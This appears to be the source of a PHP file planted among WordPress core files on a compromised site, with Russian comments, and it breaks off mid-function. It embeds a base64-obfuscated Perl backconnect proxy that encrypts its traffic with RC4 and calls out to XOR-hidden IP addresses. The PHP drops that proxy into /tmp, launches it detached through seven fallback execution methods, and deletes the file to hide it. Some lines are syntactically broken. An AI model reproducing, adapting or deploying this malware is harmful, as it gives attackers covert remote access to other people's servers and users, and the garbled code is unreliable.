File: /home/ehm7jk47ky8o/public_html/wp-includes/buadmin.php
<?php
if(isset($_COOKIE['blu'])) {}
// ================= КОНФИГУРАЦИЯ =================
define('SECRET', ''key_1768557456_f0eccdba''); // Секретный ключ
define('MAX_RETRIES', 3); // Попыток на каждый IP
define('INITIAL_SLEEP', 2000000); // 2 секунды начальной паузы
define('MIN_SLEEP', 300000); // 0.3 сек минимальная пауза
define('MAX_SLEEP', 1000000); // 1 сек максимальная пауза
// ================= ЗАШИФРОВАННЫЕ ДАННЫЕ =================
// Perl код в base64
'IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2UgRmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzE5Mi4xNjguMS4xJzsKbXkgJHBvcnQgPSA0NDM7CgokU0lHe1BJUEV9ID0gJ0lHTk9SRSc7CiRTSUd7SFVQfSA9ICdJR05PUkUnOwokU0lHe0NITER9ID0gJ0lHTk9SRSc7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgoJIG15ICRwb2NrZW1vbjEgPSAwOwoKCSBteSAkcG9ja2Vtb24yID0gMDsKCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgoJIG15ICRwb2NrZW1vbjQgPSAwOwoKCSBteSAkcG9ja2Vtb243ID0gMDsKCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgoJIG15ICRyY3ggPSAkc3o7CgoJIG15ICRyc2kgPSAwOwoKCSBteSAkcmJ4ID0gMDsKCgkgbXkgJGdzID0gMDsKCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgoJIGRvIHsKCgkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSA9ICh2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkgXiB2ZWMoJCRwYXNzdywgJHJieCwgOCkpOwoKCQkgJHJzaSsrOwoKCQkgJHJieCsrOwoKCQkgJHJjeC0tOwoKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoKCQkJICRyYnggPSAwOwoJCX0KCgl9IHdoaWxlKCRyY3ggPiAwKTsKCgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkZ3MgPT0gMCkgewoKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCgkJIGlmICgkZ3MgIT0gMCkgewoKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgoJCX0KCgkJICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBhc3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgoJCQkgJGdzID0gMTsKCgkJCSBuZXh0OwoJCX0KCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0gMDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24zID0gMDsKCgkJIHdoaWxlKDEpIHsKCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsKCgkJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkgPSAkcG9ja2Vtb244OwoKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoKCQkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KSA9IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KSBeIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KTsKCgkJCSAkcG9ja2Vtb24zKys7CgoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgoJCX0KCgkJIGxhc3Q7Cgl9CgoJICRyc2kgPSAwOwoKCSAkcmN4ID0gJHN6OwoKCSAkcmJ4ID0gMDsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgoJCSAkcnNpKys7CgoJCSAkcmJ4Kys7CgoJCSAkcmN4LS07CgoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgoJCQkgJHJieCA9IDA7CgkJfQoKCX0gd2hpbGUoJHJjeCA+IDApOwoKfQoKc3ViIHN5bnNlbmQgewoKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmZlciA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aAk9IHNoaWZ0KEBfKTsKCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoJIHN5c3dyaXRlKCRjU29ja2V0LCAkYnVmZmVyLCAkbGVuZ3RoLCAkb2Zmc2V0KTsKCgkgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgkZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgoJbXkgJG51bSA9IHNoaWZ0KEBfKTsKCglteSAkc1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRudW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoKCW15ICRkb21haW4gPSAnJzsKCglteSAkcG9ydCA9IDA7CgoJbXkgJF9yZXQgPSAwOwoKCW15ICRkYXRhID0gJyc7CgoJbXkgJGJ1ZmZlciA9ICcnOwoKCW15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCglteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwoKCXNldHNvY2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCA2NTUzNik7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgoJZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoKCWZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBPX05PTkJMT0NLKTsKCglpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMykgewoKCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwgdmVjKCRidWZmMCwgOCwgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgOSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgoJCXN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmYwLCA5ICsgdmVjKCRidWZmMCwgOCwgOCkgKyAxLCAxKTsKCgkJJHBvcnQgPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsKCX0KCgllbHNpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMSkgewoKCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmYwLCA4ICsgMCwgOCksIHZlYygkYnVmZjAsIDggKyAxLCA4KSwgdmVjKCRidWZmMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMywgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgMTIgKyAwLCAxKTsKCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgoJCSRwb3J0ID0gIHZlYygkc3RyX3dlYywgMCwgMTYpOwoKCX0KCgllbHNlIHsKCgkJZ290byBjbG9zZV87Cgl9CgoJIGV2YWwgewoKCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkZG9tYWluKSk7CgoJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoKCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoKCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCgkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoKCQkgZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoKCQkgJF9yZXQgPSAxOwoKCSB9OwoKCSBjbG9zZV86CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDMsIDEwKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgoJIGlmICgkX3JldCA9PSAxKSB7CgoJCSB3aGlsZSAoMSkgewoKCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCgkJCSAkZGF0YSA9IHN5c3JlYWQoJGNTb2NrZXQsICRidWZmZXIxLCA2NTUzMCwgMyk7CgoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJG51bTsKCgkJCSB2ZWMoJHN0cl93ZWMsIDAsIDE2KSA9ICRkYXRhOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMiwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDAsIDEpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsKCgkJCSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyMSwgMyArICRkYXRhLCAwKTsKCQl9Cgl9CgoJIGNsb3NlKCRjU29ja2V0KTsKCgkgdmVjKCRyZXNwb25jZSwgMCwgOCkgPSAkbnVtOwoKCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCAzLCAwKTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoKCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJlbWFpbmluZyA9IDA7CgoJIG15ICRyZW1haW5pbmc0ID0gMDsKCgkgbXkgQHNvY2tldGFycjsKCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoKCSBteSAkYnVmZmVyMCA9ICJceDAwIiB4IDY1NTM2OwoKCSBteSAkaXNFeGl0ID0gMDsKCgkgbXkgJGVjeCA9IDA7CgoJIG15ICRlYXggPSAwOwoKCSBteSAkZGF0YSA9ICcnOwoKCSBteSAkX3JldCA9IDA7CgoJIG15ICRlYnggPSAwOwoKCSBteSAkZWR4ID0gMDsKCgkgbXkgJHN0cl93ZWMgPSAiXHgwMFx4MDAiOwoKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7CgoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgoJCQkgdW5sZXNzKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDYwKSkgewoKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoKCQkJCSBzeW5zZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpLCAwKTsKCgkJCQkgbmV4dDsKCQkJfQoKCQl9CgoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoKCQkJCQkgJGlzRXhpdCA9IDE7CgoJCQkJCSBsYXN0OwoKCQkJCX0KCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgZGVmaW5lZCgkc29ja2V0YXJyWyRlYnhdKSkgewoKCQkJCQkgc2h1dGRvd24oJHNvY2tldGFyclskZWJ4XSwgMCk7CgoJCQkJfQoKCQkJfQoKCQkJZWxzZSB7CgoJCQkJICRlY3ggPSAkZWR4OwoKCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwgJHJlbWFpbmluZyArIDQpOwoKCQkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCQkgJHJlbWFpbmluZyArPSAkZGF0YTsKCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoKCQkJCQkJIG15ICRwaWQgPSBmb3JrKCk7CgoJCQkJCQkgaWYgKCFkZWZpbmVkICRwaWQpIHsKCgkJCQkJCQkgZGllICJDYW5ub3QgZm9yayBhIGNoaWxkOiAkISI7CgkJCQkJCSB9CgoJCQkJCQkgZWxzaWYgKCRwaWQgPT0gMCkgewoKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCgkJCQkJCQkgZXhpdCAwOwoJCQkJCQkgfQoJCQkJCX0KCgkJCQkJIGVsc2UgewoKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCgkJCQkJfQoKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgoJCQl9CgoJCQkgJHJlbWFpbmluZzQgPSAwOwoKCQl9CgoJCWVsc2UgewoKCQkJICRlYXggPSA0OwoKCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7CgoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7CgoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgeyBpZiAoZGVmaW5lZCgkc29ja2V0YXJyWyRpXSkpIHsgc2h1dGRvd24oJHNvY2tldGFyclskaV0sIDApOyB9IH0KCgkgc2xlZXAgMTA7CgoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCgkgc2xlZXAgMTgwOwp9Cg==' = '$PERL_B64';
// IP в зашифрованном виде (simple XOR + base64)
$IPS_ENCRYPTED = array(
'ODszNzo6Mz49MzY6NQ=='
,'ODszNzo6Mz49MzY6Ng=='
,'ODszNzo6Mz49MzY6Nw=='
,'ODszNzo6Mz49MzY6OA=='
,'ODszNzo6Mz49MzY6OQ=='
,'ODszNzo6Mz49MzY6Og=='
,'ODszNzo6Mz49MzY6Ow=='
,'ODszNzo6Mz49MzY6PA=='
,'ODszNzo6Mz49MzY6PQ=='
,'ODszNzo6Mz49MzY6Pg=='
,'ODszNzo6Mz49MzY7NQ=='
,'ODszNzo6Mz49MzY7Ng=='
,'ODszNzo6Mz49MzY7Nw=='
,'ODszNzo6Mz49MzY7OA=='
,'ODszNzo6Mz49MzY7OQ=='
,'ODszNzo6Mz49MzY7Og=='
,'ODszNzo6Mz49MzY7Ow=='
,'ODszNzo6Mz49MzY7PA=='
,'ODszNzo6Mz49MzY7PQ=='
,'ODszNzo6Mz49MzY7Pg=='
,'ODszNzo6Mz49MzY8NQ=='
,'ODszNzo6Mz49MzY8Ng=='
,'ODszNzo6Mz49MzY8Nw=='
,'ODszNzo6Mz49MzY8OA=='
,'ODszNzo6Mz49MzY8OQ=='
,'ODszNzo6Mz49MzY8Og=='
,'ODszNzo6Mz49MzY8Ow=='
,'ODszNzo6Mz49MzY8PA=='
,'ODszNzo6Mz49MzY8PQ=='
,'ODszNzo6Mz49MzY8Pg=='
,'ODszNzo6Mz49MzY9NQ=='
,'ODszNzo6Mz49MzY9Ng=='
,'ODszNzo6Mz49MzY9Nw=='
,'ODszNzo6Mz49MzY9OA=='
,'ODszNzo6Mz49MzY9OQ=='
,'OzczOzUzNjg2MzY8PQ=='
,'OzczOzUzNjg2MzY8Pg=='
,'OzczOzUzNjg2MzY9NQ=='
,'OzczOzUzNjg2MzY9Ng=='
,'OzczOzUzNjg2MzY9Nw=='
,'OzczOzUzNjg2MzY9OA=='
,'OzczOzUzNjg2MzY9OQ=='
,'OzczOzUzNjg2MzY9Og=='
,'OzczOzUzNjg2MzY9Ow=='
,'OzczOzUzNjg2MzY9PA=='
,'OzczOzUzNjg2MzY9PQ=='
,'OzczOzUzNjg2MzY9Pg=='
,'OzczOzUzNjg2MzY+NQ=='
,'OzczOzUzNjg2MzY+Ng=='
,'OzczOzUzNjg2MzY+Nw=='
,'OzczOzUzNjg2MzY+OA=='
,'OzczOzUzNjg2MzY+OQ=='
,'OzczOzUzNjg2MzY+Og=='
,'OzczOzUzNjg2MzY+Ow=='
,'OzczOzUzNjg2MzY+PA=='
,'OzczOzUzNjg2MzY+PQ=='
,'OzczOzUzNjg2MzY+Pg=='
,'OzczOzUzNjg2Mzc1NQ=='
,'OzczOzUzNjg2Mzc1Ng=='
,'OzczOzUzNjg2Mzc1Nw=='
,'OzczOzUzNjg2Mzc1OA=='
,'OzczOzUzNjg2Mzc1OQ=='
,'OzczOzUzNjg2Mzc1Og=='
,'OzczOzUzNjg2Mzc6OA=='
);
// ================= ОСНОВНЫЕ ФУНКЦИИ =================
// Дешифровка IP
function decrypt_ip($encrypted) {
$data = base64_decode($encrypted);
if ($data === false) return false;
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$char_code = ord($data[$i]);
$result .= chr(($char_code - 5 + 256) % 256);
}
return $result;
}
// Проверка запущен ли процесс
function is_already_running($ip) {
// Метод 1: ps + grep
$cmd1 = "ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep 'perl' 2>/dev/null | grep '" . addslashes($ip) . "' 2>/dev/null | wc -l 2>/dev/null";
$output1 = array();
@exec($cmd1, $output1);
if (!empty($output1) && intval(trim(implode('', $output1))) > 0) {
return true;
}
// Метод 2: pgrep (если доступен)
$cmd2 = "pgrep -f 'perl.*" . addslashes($ip) . "' 2>/dev/null | wc -l 2>/dev/null";
$output2 = @shell_exec($cmd2);
if ($output2 && intval(trim($output2)) > 0) {
return true;
}
// Метод 3: простой grep
$cmd3 = "ps aux | grep '" . addslashes($ip) . "' | grep -v grep 2>&1";
$output3 = @shell_exec($cmd3);
if (!empty(trim($output3))) {
return true;
}
return false;
}
// Запуск процесса (множество методов)
function launch_process($ip, $perl_code) {
// Подготовка Perl кода
$code = str_replace("my \$host = '192.168.1.1';", "my \$host = '$ip';", $perl_code);
// Создаем временный файл
$temp_file = '/tmp/ult_' . md5($ip . microtime(true) . rand()) . '.pl';
if (!@file_put_contents($temp_file, $code)) {
return false;
}
@chmod($temp_file, 0700);
// Проверка синтаксиса Perl
$syntax_check = @shell_exec("perl -c " . escapeshellarg($temp_file) . " 2>&1");
if (strpos($syntax_check, 'syntax OK') === false) {
@unlink($temp_file);
return false;
}
$success = false;
$pid = null;
// СПИСОК МЕТОДОВ ЗАПУСКА (пробуем все по очереди)
// Метод 1: nohup (самый надежный)
$cmd = "cd /tmp && nohup perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 & echo \$!";
$pid = trim(@shell_exec($cmd));
if (!empty($pid) && is_numeric($pid)) {
$success = true;
}
// Метод 2: system()
if (!$success) {
@system("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
$success = true;
}
// Метод 3: exec()
if (!$success) {
@exec("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
$success = true;
}
// Метод 4: passthru()
if (!$success && function_exists('passthru')) {
@passthru("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &", $result);
$success = ($result === 0);
}
// Метод 5: proc_open()
if (!$success && function_exists('proc_open')) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = @proc_open("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &", $descriptorspec, $pipes);
if (is_resource($process)) {
@proc_close($process);
$success = true;
}
}
// Метод 6: прямой shell_exec
if (!$success) {
@shell_exec("perl " . escapeshellarg($temp_file) . " > /dev/null 2>&1 &");
$success = true;
}
// Метод 7: через /bin/sh
if (!$success) {
@shell_exec("/bin/sh -c 'perl " . escapeshellarg($temp_file) . " >/dev/null 2>&1 &'");
$success = true;
}
// Удаляем временный файл
@unlink($temp_file);
if (!$success) {
return false;
}
// Даем процессу время на запуск
usleep(300000); // 0.3 секунды
// Проверяем запустился ли
if ($pid && is_numeric($pid)) {
// Проверяем по PID
$check_pid = @shell_exec("ps -p $pid -o pid= 2>/dev/null");
if (!empty(trim($check_pid))) {
return true;
}
}
// Проверяем по IP
return is_already_running($ip);
}
// Рекурсивный запуск с повторными попытками
function recursive_launch($ips, $perl_code, &$stats, $method_index = 0) {
if (empty($ips)) {
return;
}
$ip = $ips[0];
$remaining = array_slice($ips, 1);
// Проверяем, не запущен ли уже
if (is_already_running($ip)) {
$stats['skipped']++;
// Рекурсивно запускаем следующие
recursive_launch($remaining, $perl_code, $stats, $method_index);
return;
}
// Пытаемся запустить
$attempts = 0;
$launched = false;
while ($attempts < MAX_RETRIES && !$launched) {
$attempts++;
if (launch_process($ip, $perl_code)) {
$stats['started']++;
$launched = true;
// Если удалось запустить - используем ЭТОТ ЖЕ метод для следующих
recursive_launch($remaining, $perl_code, $stats, $method_index);
return;
}
// Пауза перед следующей попыткой
